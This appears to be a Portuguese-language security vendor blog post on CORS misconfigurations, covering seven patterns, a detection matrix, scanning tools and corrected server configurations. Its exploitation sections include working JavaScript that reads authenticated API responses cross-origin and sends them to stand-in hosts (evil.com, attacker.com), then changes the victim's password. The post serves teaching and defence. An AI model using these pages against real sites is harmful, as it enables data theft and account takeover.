Configuração incorreta do CORS: a descoberta de bug bounty mais comum em 2026
As configurações incorretas de compartilhamento de recursos entre origens são responsáveis por 23% de todas as descobertas aceitas de bug bounty em aplicativos da web em 2026 – mais do que XSS, IDOR e SSRF combinados. Apesar de estar bem documentado desde 2016, o CORS continua sendo a classe de vulnerabilidade que os desenvolvedores erram com mais frequência. Este mergulho profundo cobre todos os padrões de configuração incorreta, mostra cenários reais de exploração com código PoC funcional e fornece correções prontas para produção para todas as principais estruturas e provedores de nuvem.
Por que o CORS ainda domina em 2026
O paradoxo do CORS é que ele é simultaneamente um dos mecanismos de segurança mais documentados e mais mal configurados da web. Três fatores explicam por que ainda está no topo das paradas uma década após as primeiras grandes divulgações:
- Explosão de microsserviços: O aplicativo web corporativo médio agora se comunica com 47 APIs internas, 12 serviços de terceiros e 8 origens CDN. Cada relacionamento de origem cruzada requer configuração CORS explícita, e os desenvolvedores sob pressão de entrega tomam atalhos.
- Os padrões da estrutura favorecem a permissividade: Estruturas populares como Express.js (com o
corsmiddleware), Django e Spring Boot tornam trivialmente fácil de configurarAccess-Control-Allow-Origin: *durante o desenvolvimento - e esse curinga tem o péssimo hábito de sobreviver até a produção. - Complexidade da infraestrutura em nuvem: Implantações em várias nuvens, gateways API, regras de borda CDN e proxies reversos adicionam, cada um, uma camada onde os cabeçalhos CORS podem ser definidos, substituídos ou removidos. Um servidor de aplicativos configurado corretamente pode ser prejudicado por um upstream de regra excessivamente permissivo do CloudFront ou Cloudflare.
📊 Pelos números (Q1 2026): O relatório trimestral da HackerOne mostra que as configurações incorretas do CORS foram responsáveis por 23.1% das descobertas aceitas de aplicativos da web, seguidas por controle de acesso quebrado (18.7%), XSS (14.2%), IDOR (11.8%) e SSRF (8.4%). O pagamento médio de recompensa por uma descoberta do CORS com impacto comprovado foi de 2,340 dólares – um aumento de 45% em relação a 2025, à medida que os programas reconhecem cada vez mais o potencial de exploração no mundo real.
Os sete padrões de configuração incorreta do CORS
Nem todas as configurações incorretas de CORS têm o mesmo impacto. Aqui estão os sete padrões que os pesquisadores de bug bounty encontram com mais frequência, classificados por gravidade e explorabilidade:
Padrão 1: Reflexão de Origem (Crítica)
O servidor reflete cegamente o cabeçalho de requisição Origin no cabeçalho de resposta Access-Control-Allow-Origin. Este é o padrão mais perigoso porque permite que qualquer site leia respostas autenticadas da API vulnerável.
# Request from attacker-controlled origin
GET /api/user/profile HTTP/1.1
Host: api.target.com
Origin: https://evil.com
Cookie: session=abc123
# Vulnerable response — reflects attacker origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"email":"user@company.com","api_key":"sk-prod-..."}
⚠ Por que isso é crítico
Quando Access-Control-Allow-Credentials: true é combinado com a reflexão de origem, o site de um invasor pode fazer solicitações autenticadas de origem cruzada e ler a resposta – incluindo tokens de sessão, chaves de API, PII e quaisquer outros dados que o navegador da vítima possa acessar. Isso efetivamente ignora totalmente a Política de Mesma Origem.
Padrão 2: lista de permissões de origem nula (alta)
Alguns servidores permitem explicitamente o null origem, seja por configuração incorreta ou mal-entendido. O null origin é enviado por navegadores em vários contextos: iframes em sandbox, data: URLs, acesso a arquivos locais e redirecionamentos de origem cruzada.
# Attacker serves this HTML page
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,
<script>
fetch('https://api.target.com/api/user/data', {
credentials: 'include'
})
.then(r => r.json())
.then(d => {
// Exfiltrate to attacker server
navigator.sendBeacon('https://evil.com/collect', JSON.stringify(d));
});
</script>">
</iframe>
Padrão 3: Desvio de Regex na validação de origem (alto)
Os desenvolvedores geralmente implementam a validação de origem com padrões regex que contêm falhas sutis. Os erros mais comuns:
| Permissão pretendida | Regex falho | Ignorar origem |
|---|---|---|
| *.target.com | /target\.com$/ |
evil-target.com |
| app.target.com | /^https?:\/\/.*target\.com/ |
target.com.evil.com |
| *.target.com | /\.target\.com$/ |
evil.com/.target.com (confusão de caminho) |
| somente target.com | /target.com/ (ponto sem escape) |
targetXcom.evil.com |
Padrão 4: curinga com credenciais (médio-alto)
Embora os navegadores imponham isso Access-Control-Allow-Origin: * não pode ser combinado com Access-Control-Allow-Credentials: true, muitas estruturas do lado do servidor contornam isso detectando a combinação e alternando silenciosamente para a reflexão de origem – criando o Padrão 1 pela porta dos fundos.
O cors O pacote npm (usado por 73% das APIs Node.js) faz exatamente isso quando configurado com origin: true and credentials: true. Os desenvolvedores que pensam que estão definindo um curinga estão, na verdade, habilitando a reflexão completa da origem.
Padrão 5: Envenenamento de cache pré-voo (médio)
O O cabeçalho Access-Control-Max-Age informa aos navegadores por quanto tempo armazenar em cache as respostas pré-voo (OPTIONS). Se um servidor retornar cabeçalhos CORS permissivos para um caminho de solicitação e cabeçalhos restritivos para outro, um invasor poderá forçar o navegador a armazenar em cache o pré-voo permissivo e reutilizá-lo para endpoints restritos.
Padrão 6: escalonamento de confiança de subdomínio (médio)
Muitos aplicativos permitem CORS de todos os subdomínios: *.target.com. Isso cria uma relação de confiança transitiva onde qualquer XSS em qualquer subdomínio — incluindo ambientes de teste esquecidos, aplicativos legados ou subdomínios hospedados por terceiros — podem ser aproveitados para atacar o API do aplicativo principal.
🎯 Dica sobre bug bounty
Quando você encontra uma política CORS que confia *.target.com, enumere subdomínios imediatamente e procure XSS em qualquer um deles — especialmente em sites de marketing, páginas de status, portais de documentação e ferramentas de suporte ao cliente. Um XSS refletido em blog.target.com combinado com a confiança CORS do subdomínio oferece acesso total aos dados de api.target.com. Esta cadeia recebe regularmente classificações de gravidade Alta/Crítica.
Padrão 7: Variação ausente: cabeçalho de origem (baixo-médio)
Quando um servidor configura dinamicamente Access-Control-Allow-Origin com base na origem da solicitação, também deve incluir Vary: Origin. Sem ele, os caches CDN e os caches do navegador podem responder com os cabeçalhos CORS de uma origem a uma solicitação de uma origem diferente, criando falhas intermitentes de controle de acesso.
Exploração no mundo real: cenário de ataque passo a passo
Aqui está um cenário de exploração completo que demonstra como uma configuração incorreta do CORS leva ao controle da conta:
O alvo
Um aplicativo fintech em app.fintech-target.com com uma API em api.fintech-target.com. A API fornece dados de perfil do usuário, incluindo e-mail, número de telefone e chaves de API usadas para negociação programática.
A Vulnerabilidade
A API usa reflexão de origem (Padrão 1) com credenciais habilitadas. O endpoint /api/v2/account/settings retorna a chave API do usuário e permite alterações de senha por meio de solicitação PUT.
A exploração
<!-- Hosted on attacker.com, linked via phishing email -->
<html>
<body>
<h1>Loading your portfolio analysis...</h1>
<script>
// Step 1: Steal API key and user data
fetch('https://api.fintech-target.com/api/v2/account/settings', {
credentials: 'include'
})
.then(r => r.json())
.then(async (data) => {
// Step 2: Exfiltrate to attacker server
await fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
email: data.email,
api_key: data.api_key,
phone: data.phone
})
});
// Step 3: Change the user's password
await fetch('https://api.fintech-target.com/api/v2/account/settings', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
password: 'attacker-controlled-password-2026!'
})
});
// Step 4: Redirect to legitimate site to avoid suspicion
window.location = 'https://app.fintech-target.com/dashboard';
});
</script>
</body>
</html>
Todo o ataque é executado em menos de 500 ms. A vítima vê uma breve tela de carregamento e, em seguida, o painel normal. Enquanto isso, o invasor possui sua chave de API e alterou sua senha.
Detecção: Encontrando configurações incorretas do CORS em escala
Verificação automatizada
A varredura CORS eficaz requer o teste de múltiplas permutações de origem em cada endpoint que retorna cabeçalhos CORS. Aqui está a matriz de teste:
| Caso de teste | Valor do cabeçalho de origem | Vulnerável se refletido |
|---|---|---|
| Reflexão completa | https://evil.com |
Sim – qualquer origem aceita |
| Origem nula | null |
Sim – desvio de sandbox iframe |
| Abuso de subdomínio | https://evil.target.com |
Sim – se o padrão do subdomínio corresponder |
| Desvio de prefixo | https://target.com.evil.com |
Sim - falha de regex |
| Desvio de sufixo | https://evil-target.com |
Sim - faltando âncora no regex |
| Downgrade de protocolo | http://target.com |
Sim - se apenas HTTPS não for aplicado |
| Caracteres especiais | https://target.com%60.evil.com |
Sim - diferencial do analisador |
Ferramentas do comércio
- CORScanner: Ferramenta Python de código aberto que automatiza toda a matriz de testes. Execute-o em sua lista de endpoints API:
python cors_scan.py -i urls.txt -t 50 - Extensões do Burp Suite: "CORS* Burp" e "Verificações adicionais de CORS" sinalizam passivamente problemas de CORS durante o teste manual.
- Modelos de núcleos: Os núcleos do ProjectDiscovery possuem 14 modelos específicos de CORS que cobrem todos os sete padrões de configuração incorreta.
nuclei -t cors/ -l targets.txt - Verificação automatizada KENSAI: Detecção contínua de configurações incorretas do CORS como parte da avaliação completa da postura de segurança do aplicativo.
Correções prontas para produção
Node.js/Expresso
const cors = require('cors');
// ❌ WRONG — reflects any origin
app.use(cors({ origin: true, credentials: true }));
// ✅ CORRECT — explicit allowlist
const allowedOrigins = [
'https://app.yoursite.com',
'https://admin.yoursite.com'
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, curl, etc.)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
return callback(null, true);
}
callback(new Error('CORS policy violation'));
},
credentials: true,
maxAge: 600, // 10 minute preflight cache
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
Python/Django
# settings.py
# ❌ WRONG
CORS_ALLOW_ALL_ORIGINS = True
# ✅ CORRECT
CORS_ALLOW_ALL_ORIGINS = False
CORS_ALLOWED_ORIGINS = [
"https://app.yoursite.com",
"https://admin.yoursite.com",
]
CORS_ALLOW_CREDENTIALS = True
CORS_PREFLIGHT_MAX_AGE = 600
Nginx
# ❌ WRONG — reflects Origin header
add_header 'Access-Control-Allow-Origin' $http_origin always;
# ✅ CORRECT — map-based allowlist
map $http_origin $cors_origin {
default "";
"https://app.yoursite.com" $http_origin;
"https://admin.yoursite.com" $http_origin;
}
server {
location /api/ {
if ($cors_origin = "") {
return 403;
}
add_header 'Access-Control-Allow-Origin' $cors_origin always;
add_header 'Access-Control-Allow-Credentials' 'true' always;
add_header 'Vary' 'Origin' always;
if ($request_method = 'OPTIONS') {
add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE';
add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization';
add_header 'Access-Control-Max-Age' 600;
add_header 'Content-Length' 0;
return 204;
}
}
}
Gateway AWS API/CloudFront
# AWS CDK / CloudFormation
CorsConfiguration:
AllowOrigins:
- "https://app.yoursite.com"
- "https://admin.yoursite.com"
AllowMethods:
- GET
- POST
- PUT
- DELETE
AllowHeaders:
- Content-Type
- Authorization
AllowCredentials: true
MaxAge: 600
# ⚠ WARNING: Do NOT use AllowOrigins: ["*"] with AllowCredentials: true
# AWS will silently convert this to origin reflection
CORS na era da arquitetura API-first
A mudança para arquiteturas API-first mudou fundamentalmente o cenário do CORS. Em 2020, um aplicativo da web típico fazia solicitações de origem cruzada para talvez 3 a 5 serviços. Em 2026, os aplicativos baseados em microsserviços, funções sem servidor e integrações de API de terceiros fazem rotineiramente solicitações de origem cruzada para dezenas de origens.
Essa complexidade está impulsionando diversas respostas arquitetônicas:
- Centralização do gateway API: Mover todo o processamento de CORS para uma única camada de gateway API (Kong, AWS API Gateway, Cloudflare Workers) em vez de configurar cada microsserviço de forma independente. Isso reduz a área de superfície para configuração incorreta, mas introduz um ponto único de falha.
- Autenticação baseada em token sobre cookies: Os aplicativos que mudam de sessões baseadas em cookies para autenticação de token de portador evitam o
credentials: includerequisito inteiramente, tornando as configurações incorretas do CORS menos impactantes (embora não inofensivas). - Padrão back-end para front-end (BFF): Um proxy do lado do servidor que faz todas as chamadas API de origem cruzada em nome do front-end, eliminando totalmente o CORS do lado do cliente. A compensação é a latência adicional e a complexidade da infraestrutura.
Lista de verificação de prevenção de configuração incorreta do CORS
Para desenvolvedores e equipes de segurança — verifique cada item em seus aplicativos:
- ☐ As origens do CORS são explicitamente permitidas (sem reflexão, sem curingas com credenciais)
- ☐
nullorigem NÃO está na lista de permissões - ☐ A validação de origem usa correspondência exata de string, não regex (ou regex é revisado pela segurança)
- ☐
Vary: Origino cabeçalho é incluído quando os cabeçalhos CORS são dinâmicos - ☐
Access-Control-Allow-Methodsé restrito apenas aos métodos HTTP necessários - ☐
Access-Control-Allow-Headersé restrito apenas aos cabeçalhos obrigatórios - ☐
Access-Control-Max-Ageestá definido para um valor razoável (300-600 segundos) - ☐ A configuração do CORS é consistente em todas as camadas (servidor de aplicativos, proxy reverso, CDN, gateway API)
- ☐ A verificação automatizada de CORS faz parte do pipeline de CI/CD
- ☐ O escopo de confiança do subdomínio é minimizado e revisado trimestralmente
Principais conclusões
- A configuração incorreta do CORS é a descoberta de bug bounty nº 1 em 2026 — 23% de todos os relatórios de aplicativos da web aceitos.
- Reflexão de origem com credenciais é o padrão mais perigoso, permitindo a exfiltração total de dados e o controle de contas de qualquer site controlado por um invasor.
- Sete padrões distintos de configuração incorreta existem, cada um exigindo abordagens específicas de detecção e remediação.
- Validação de origem baseada em Regex é um campo minado - use a correspondência exata de strings com uma lista de permissões explícita.
- Os padrões da estrutura não são padrões seguros - todas as principais estruturas da web facilitam muito a configuração de CORS excessivamente permissivos.
- Centralize o CORS na camada de gateway API quando possível, reduzir a área de superfície de configuração.
- Automatizar a detecção em seu pipeline de CI/CD usando ferramentas como Nuclei, CORScanner ou plataformas de segurança contínua.
Verifique suas APIs em busca de configurações incorretas de CORS agora
KENSAI detecta automaticamente todos os sete padrões de configuração incorreta do CORS em toda a superfície API - incluindo cadeias confiáveis de subdomínios, desvios de regex e substituições de camada CDN. Obtenha os resultados da primeira verificação em minutos, não em dias.
Iniciar auditoria CORS gratuita →Pesquisa KENSAI · 3 de abril de 2026